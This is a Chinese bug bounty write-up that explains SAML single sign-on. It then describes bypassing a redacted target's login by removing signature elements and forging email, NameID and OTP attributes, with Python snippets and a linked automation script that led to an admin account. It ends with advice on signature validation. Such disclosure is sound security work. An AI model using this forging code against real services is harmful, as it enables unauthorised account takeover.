绕过 SAML 认证接管管理面板

文化   2024-12-25 12:01   韩国  

扫码领资料

获网安教程


Track安全社区投稿~  

赢千元稿费!还有保底奖励~(https://bbs.zkaq.cn)

什么是 SAML 认证?

SAML(安全断言标记语言)用于实现单点登录(SSO)。它是一种功能,允许用户无需多次登录即可访问多个服务。例如,如果你已经登录了 facebook.com,就无需再次输入凭据即可使用 messenger.com。

SAML 如何工作?

SAML 使用 XML 在身份提供方(IdP)和服务提供方(SP)之间传递认证数据。当用户尝试访问某些服务时,身份提供方会在用户首次通过身份提供方登录单点登录后,将 SAML 属性提供给服务提供方。服务提供方会向身份提供方请求认证和授权。

每个身份提供方和服务提供方都需要就 SAML 的配置达成一致。只有双方配置完全一致,SAML 认证才能正常工作。

img

SAML 响应结构

了解 SAML 响应的结构是理解该认证和授权协议如何工作的关键。以下是 SAML 响应的主要组件分解:

img

1. XML 结构:SAML 响应是一个 XML 文档。它以 XML 声明开始,指定 XML 的版本和字符编码。文档的其余部分被 <samlp:Response> 标签包裹。

2. 响应属性

ID:SAML 响应的唯一标识符。

Version:使用的 SAML 协议版本(例如,2.0)。

IssueInstant:响应发出的时间戳。

Destination:响应的目标接收方 URL(通常是服务提供商)。

InResponseTo:与此响应对应的 SAML 请求的 ID。

3. 发行方<saml:Issuer> 元素指定发出 SAML 响应的实体(通常是 IdP,即身份提供商)。这是验证响应真实性的重要元素。

4. 状态<samlp:Status> 元素指示响应的总体状态。它包含一个 <samlp:StatusCode> 元素,值可能是“Success”或“Requester”(表示错误)。

5. 声明:SAML 响应可以包含一个或多个声明,通常是关于用户的陈述。主要有两种类型的声明:

认证声明 (saml:AuthnStatement):包含用户认证的信息,例如何时以及如何认证。

属性声明 (saml:AttributeStatement):传递用户属性(例如用户名、电子邮件)或其他附加信息。

6. 签名:为确保 SAML 响应的完整性和真实性,通常会使用 IdP 的私钥对其进行签名。<ds:Signature> 元素包含加密签名。

7. 条件<saml:Conditions> 元素为声明的有效性设置限制,包括 NotBefore(声明可用的最早时间)和 NotOnOrAfter(声明可用的最晚时间)。

8. 主体<saml:Subject> 元素标识声明的主体,通常是用户。它包含 <saml:NameID> 元素,后者包含用户的唯一标识符。

9. 受众限制<saml:AudienceRestriction> 元素指定声明的预期受众,通常是服务提供商的实体 ID。这有助于防止声明重放攻击。

10. 条件:响应中定义了声明有效的条件,例如时间范围和受众。

11. 属性声明:如果包含,<saml:AttributeStatement> 部分会列出用户属性及其值。服务提供商通常使用这些属性来授予访问权限或填充用户配置文件。

12. 签名验证:为了验证 SAML 响应,服务提供商必须检查签名。这包括将签名与 IdP 的公钥进行比对,以确保响应未被篡改。

下面是一个简化的 SAML 身份声明示例。该声明通过用户的用户名传递其身份:

<samlp:Response xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol" ID="_abc123" Version="2.0" IssueInstant="2023–10–18T14:30:00Z"> <saml:Issuer xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion">https://idp.example.com</saml:Issuer> <samlp:Status> <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/> </samlp:Status> <saml:Assertion xmlns:saml="urn:oasis:names:tc:SAML:2.0:assertion" ID="_def456" IssueInstant="2023–10–18T14:30:00Z"> <saml:AttributeStatement> <saml:Attribute Name="user"> <saml:AttributeValue>john.doe@example.com</saml:AttributeValue> </saml:Attribute> <saml:Attribute Name="name"> <saml:AttributeValue>John Doe</saml:AttributeValue> </saml:Attribute> </saml:AttributeStatement> <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> <! - Signature data goes here → </ds:Signature> </saml:Assertion> </samlp:Response>

在实际场景中,SAML 响应通常使用 Base64 或其他安全编码方案进行传输。

img

img

漏洞详情:

像往常一样,我们以 example.com为目标(脱敏处理)。通过子域枚举、反向 DNS 查询以及 Google Dorks 等方法收集子域后,我发现了一个子域:login-otp.example.com/login

img

因此,当你发现一个登录页面时,首先要做的就是检查源代码是否存在任何泄露或有用的信息。不幸的是,我并没有发现太多有价值的东西,除了一个细节:以公司域名结尾的邮箱地址会受到特殊处理。

img

我随便输入了一些乱七八糟的东西,然后点击登录,检查请求。

img

该请求发送到 https://login-otp.example.com/SAML2/SSO/POST,带有 SAMLRequest 参数和我输入的数据。

我所做的是解码原始的 SAML 响应,并花了几个小时对其进行各种操作:

<?xml version="1.0" encoding="UTF-8"?><saml2p:AuthnRequest xmlns:saml2p="urn:oasis:names:tc:SAML:2.0:protocol" AssertionConsumerServiceURL="https://accounts-otp.exmaple.com/authenticated" ID="__b261eb3afa7ee41b11f2965608172e35" IssueInstant="2024-07-30T18:12:25.595Z" ProtocolBinding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-POST" Version="2.0"><saml2:Issuer xmlns:saml2="urn:oasis:names:tc:SAML:2.0:assertion">account_manager_otp_b</saml2:Issuer><ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo><ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/><ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha512"/><ds:Reference URI="#__b261eb3afa7ee41b11f2965608172e35"><ds:Transforms><ds:Transform Algorithm="http://www.w3.org/2000/09/xmldsig#enveloped-signature"/><ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms><ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>DhHSW4NWQQN9smpO5+L67m5KGoT5ahKpOrUwsb4d6WU=</ds:DigestValue></ds:Reference></ds:SignedInfo><ds:SignatureValue>b0Ivq52trxBFfLp8FvqJ4hY8+F4X7d6m2/MC9CMGZughdMXrF7RJz9lBdBUeZ1MjoujqGqo63fm5gwUCOtD/tmlUVUKI2ukEyo12BSnETwICoCNK6GmfSor2QmtgVxqy896VFqWNHvmFM+mOcZ3C4+vIlqR4bNWwGLuJiQyKBbMlkEsu9Zt+oQiSFazRWVVlU7a2jaEIjZHSc9rV3n5XIOOv4Sgm4/DVsuNTrQcsxhHfLslUOoTJoPs/8M8rbtI5xizbd574qHQ4NgGfBDe0r9TSOqA8/tWfdBcXqbcYE6FE3kkamiK2VnzuRTL6rB739Q21Ei1lejwM4BHU1ktAGxfx6f9NidJry35VkNzb9bzSwSC3/PQgOvWczPDjO8KjxL5dEZy+2TVe9FLaP6BBP6dLSNQeg6u77OgpRM/04nmVzSOBG2wXutWV0njjxlmRBppWMx/LqjQKKhkqq6etAN2FPUfNHsBY5lfQziHe8XHOT/9zHF39Ex9qM0GL65AnjEHQI3T7NtHjCg1gXtarwn2puoVNYxy/EnADFy7IbJ4fH9p+47B0eIOFgL0J04/cgcZ5SREIz54JkNx5mBeqB1KIb7wfVfe2dRWu6INaHaPwsU0jAxqV2MpzMLilMnbns7DhFCjKH8JsQfYS+BkprEOXbgL5X6tFu326ZYtuKQo=</ds:SignatureValue></ds:Signature><saml2p:Extensions><odin:version xmlns:odin="http://odin.vrsn.com">v3</odin:version></saml2p:Extensions></saml2p:AuthnRequest>

1.密码:

其实我并没有对密码做任何操作,因为我输入的是公司邮箱,改动密码也没有意义。

2.更改 ID:

ID="b261eb3afa7ee41b11f2965608172e35"

每个请求都有一个唯一的 ID,从技术上讲,我们正在发送一个新请求,所以需要一个新的 ID。我使用 UUID 生成了一个新的 ID。

import uuid
new_id = str(uuid.uuid4())print(new_id)

3.移除经过操作的响应中的所有 <Signature> 元素。

for i in evilroot.xpath('//*[local-name(.)=\'Signature\']'): i.getparent().remove(i)

通过这样做,我能够绕过本应确保响应真实性的验证机制。这一步对于测试系统如何处理篡改或未签名的响应至关重要。

4.修改属性

evilroot.xpath('//*[local-name(.)=\'Attribute\' and @Name=\'account_manager_otp\']')[0][0].text = 'new_otp_value'evilroot.xpath('//*[local-name(.)=\'Attribute\' and @Name=\'Email\']')[0][0].text = 'newemail@example.com'evilroot.xpath('//*[local-name(.)=\'NameID\']')[0].text = 'newemail@example.com'

我更新了SAML响应中的特定属性,以测试系统如何处理被更改的数据。

这有点无聊(尽管手动操作更高效),于是我写了一个Python脚本来自动化整个修改SAML响应的过程:https://github.com/0xxnum/saml_injector/blob/main/saml_injector.py

这个脚本将SAMLResponse作为命令行参数,先从base64解码,然后解析XML结构。它移除了原始的数字签名,并修改响应中的特定属性,例如OTP、电子邮件和用户标识符(在我的案例中)。应用这些更改后,它将修改后的SAMLResponse重新编码回base64,并打印出新的值。这个修改后的响应可以用来模拟攻击或测试基于SAML的认证系统中的漏洞,你可以根据目标的需求自定义属性。

然后我在python3中运行了这个脚本,并将原始的SAMLResponse作为参数。

python3 script.py <OriginalSAMLResponse>

然后,我用脚本提供的值替换了参数值并转发了请求,结果管理员账户被创建了!

img

最后,我写了一份详细的报告,并提交了概念验证。 一周后,我收到了$$$$。

影响

开发者的错误是没有对SAML响应实现适当的签名验证和检查。这一失败允许攻击者修改SAML响应,包括更改ID、属性并移除签名元素,从而实现未经授权的访问或特权升级。

修复

严格验证签名验证。 始终测试系统如何处理篡改或未签名的SAML响应。确保系统执行适当的签名验证,并不接受篡改或未签名的响应。验证SAML响应的完整性和真实性是否由服务提供商维护。

声明:⽂中所涉及的技术、思路和⼯具仅供以安全为⽬的的学习交流使⽤,任何⼈不得将其⽤于⾮法⽤途以及盈利等⽬的,否则后果⾃⾏承担。所有渗透都需获取授权

如果你是一个网络安全爱好者,欢迎加入我的知识星球:zk安全知识星球,我们一起进步一起学习。星球不定期会分享一些前沿漏洞,每周安全面试经验、SRC实战纪实等文章分享,微信识别二维码,即可加入。


白帽子左一
零基础也能学渗透!关注我,跟我一启开启渗透测试工程师成长计划.专注分享网络安全知识技能.
 最新文章